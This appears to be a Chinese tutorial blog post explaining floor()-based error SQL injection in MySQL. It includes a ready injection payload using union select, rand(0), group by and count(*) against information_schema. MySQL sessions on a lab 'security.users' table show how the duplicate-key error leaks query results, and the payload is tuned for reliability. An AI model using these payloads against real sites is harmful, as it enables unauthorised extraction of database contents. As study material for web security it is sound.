sql注入中的floor报错注入原理详解

floor报错原理详解

常用floor报错语句:如union联合注入

?id=0' union select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from information_schema.tables group by xxx -- qqq

会出现如下的报错:ERROR 1062 (23000): Duplicate entry ‘5.5.53~1’ for key ‘group_key’。

其他查询将version()换成想要查询的语句即可。

涉及的函数

  • rand()函数:随机返回0~1之间的小数。
  • floor()函数:向下取整,比如1.314,floor(1.314)为1。
  • conact_ws()函数:将括号中的数据用第一个参数连接起来。
  • group by子句:分组语句,根据一个或多个列,对结果进行分组,常与聚合函数连用,用来统计。
  • as:别名,一般会将一段长的语句进行缩短。
  • count()函数:汇总统计数量。

下面了解下各个函数与语句的用法:

rand():

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.7948578817721995 |
+--------------------+
1 row in set (0.00 sec)
mysql> select rand()*2;
+-------------------+
| rand()*2          |
+-------------------+
| 1.860260257367287 |
+-------------------+
1 row in set (0.00 sec)
mysql> select rand() from security.users; // 根据表中的行数随机显示结果
+---------------------+
| rand()              |
+---------------------+
|  0.2660770288352641 |
|  0.5399947888590347 |
|  0.9017428885230263 |
|  0.8887301067716722 |
|  0.7384218990229274 |
| 0.02591920553326533 |
|  0.9143303613311894 |
| 0.49389422078979595 |
|  0.7264800506890565 |
| 0.15071762180953996 |
|  0.5741479877141751 |
|  0.4185871038759007 |
|  0.3704915869706232 |
+---------------------+
13 rows in set (0.00 sec)

floor():

mysql> select floor(1.2);
+------------+
| floor(1.2) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(rand()*2);// *2的原因是,使用floor函数之后,可能出现的结果有两个值0或1
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2) from security.users; // 每次结果不同
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
|               0 |
|               0 |
|               0 |
|               0 |
|               1 |
|               0 |
|               1 |
|               1 |
|               1 |
|               0 |
|               1 |
|               0 |
+-----------------+
13 rows in set (0.00 sec)

concat_ws():

mysql> select concat_ws('~',1,2);
+--------------------+
| concat_ws('~',1,2) |
+--------------------+
| 1~2                |
+--------------------+
1 row in set (0.00 sec)
mysql> select concat_ws('~',version(),floor(rand()*2));
+------------------------------------------+
| concat_ws('~',version(),floor(rand()*2)) |
+------------------------------------------+
| 5.5.53~0                                 |
+------------------------------------------+
1 row in set (0.00 sec)
mysql> select concat_ws('~',version(),floor(rand()*2)) from security.users;
+------------------------------------------+
| concat_ws('~',version(),floor(rand()*2)) |
+------------------------------------------+
| 5.5.53~0                                 |
| 5.5.53~1                                 |
| 5.5.53~1                                 |
| 5.5.53~1                                 |
| 5.5.53~0                                 |
| 5.5.53~1                                 |
| 5.5.53~0                                 |
| 5.5.53~1                                 |
| 5.5.53~0                                 |
| 5.5.53~1                                 |
| 5.5.53~0                                 |
| 5.5.53~1                                 |
| 5.5.53~0                                 |
+------------------------------------------+
13 rows in set (0.00 sec)

as 别名,group by 分组

mysql> select concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;   // 使用 group by 对 别名为xxx的字段进行分组
+----------+
| xxx      |
+----------+
| 5.5.53~0 |
| 5.5.53~1 |
+----------+
2 rows in set (0.00 sec)

count()函数

汇总统计数量

mysql> select count(*),concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'
mysql> select count(*),concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~0' for key 'group_key'
mysql> select count(*),concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
+----------+----------+
| count(*) | xxx      |
+----------+----------+
|        6 | 5.5.53~0 |
|        7 | 5.5.53~1 |
+----------+----------+
2 rows in set (0.00 sec)

mysql> select count(*),concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
+----------+----------+
| count(*) | xxx      |
+----------+----------+
|        5 | 5.5.53~0 |
|        8 | 5.5.53~1 |
+----------+----------+
2 rows in set (0.00 sec)

偶尔出现报错ERROR 1062 (23000): Duplicate entry ‘5.5.53~1’ for key ‘group_key’。

偶尔出现报错的原因是直接使用rand()函数,每次执行的结果不同。

每次执行结果不同,不好分析原因,所以在rand()中加入值,每次执行的结果都相同(计算不在随机,而是按一定顺序排列)。

mysql> select concat_ws('~',database(),floor(rand(1)*2)) from security.users;
+--------------------------------------------+
| concat_ws('~',database(),floor(rand(1)*2)) |
+--------------------------------------------+
| security~0                                 |
| security~1                                 |
| security~0                                 |
| security~0                                 |
| security~0                                 |
| security~1                                 |
| security~1                                 |
| security~0                                 |
| security~0                                 |
| security~0                                 |
| security~0                                 |
| security~0                                 |
| security~1                                 |
+--------------------------------------------+
13 rows in set (0.00 sec)
// rand(0)永远报错
mysql> select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from security.users group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'

// rand(1)永远不报错
mysql> select count(*),concat_ws('~',version(),floor(rand(1)*2)) as xxx from security.users group by xxx;
+----------+----------+
| count(*) | xxx      |
+----------+----------+
|        8 | 5.5.53~0 |
|        5 | 5.5.53~1 |
+----------+----------+
2 rows in set (0.00 sec)

把count(*)去掉不再报错,说明在统计时出现报错。

mysql> select concat_ws('~',version(),floor(rand(0)*2)) as xxx from security.users group by xxx;          
+----------+
| xxx      |
+----------+
| 5.5.53~0 |
| 5.5.53~1 |
+----------+
2 rows in set (0.00 sec)

到底是什么原因呢?

floor报错的原因分析

下面了解下group by 结合floor()函数及count()函数的统计流程:

group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次(也就是两次),就是因为此特性,所以引起的主键重复并报错。

因为security.users表中有13条数据,所以生成的数据为13条,其中5.5.53~0 的数量为9,5.5.53~1的数量为4。
在这里插入图片描述

但是,我们通过group by和count()进行统计时,发现数量为8和5,与实际不符。
在这里插入图片描述

这是什么原因呢?看如下计算统计流程:

在这里插入图片描述

而当rand()中的值为0时,即rand(0)。此时再看一下统计流程:

在这里插入图片描述

因为在第3次统计时,想在统计表中存入group_key时,想存5.5.53~0,但是由于rand()的再次计算,所以真正存入的是5.5.53~1,而此时统计表中刚好有5.5.53~1的group_key,所以出现“ERROR 1062 (23000): Duplicate entry ‘5.5.53~1’ for key ‘group_key’”的报错。

报错优化

由于使用rand(0)时是在第3次统计,第5次计算rand()出现的报错,所以,如果查询的数据表记录不足3条时,其实是不会报错的。

当将security.users的表记录修改为2条时,发现就不会报错了。

mysql> select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from security.users group by xxx;
+----------+----------+
| count(*) | xxx      |
+----------+----------+
|        2 | 5.5.53~1 |
+----------+----------+
1 row in set (0.00 sec)

经过测试,当rand(14)和rand(18)时(其他数值请自行测试),2条记录也会报错:

mysql> select count(*),concat_ws('~',version(),floor(rand(14)*2)) as xxx from security.users group by xxx; 
ERROR 1062 (23000): Duplicate entry '5.5.53~0' for key 'group_key'
mysql> select count(*),concat_ws('~',version(),floor(rand(18)*2)) as xxx from security.users group by xxx; 
ERROR 1062 (23000): Duplicate entry '5.5.53~0' for key 'group_key'

但是当表中只有1条记录呢?这样永远不会报错,所以也可以采用一个更加有效的方法:使用information_schema库中的columns表或者tables表。因为记录肯定不止1条。

mysql> select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from information_schema.columns group by xxx;  
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'
mysql> select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from information_schema.tables group by xxx;  
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'

总结一下

floor()报错注入的原因是group by在向统计表插入数据时,由于rand()多次计算导致插入统计表时主键重复,从而报错。

又因为报错前concat_ws()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

  • 10
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值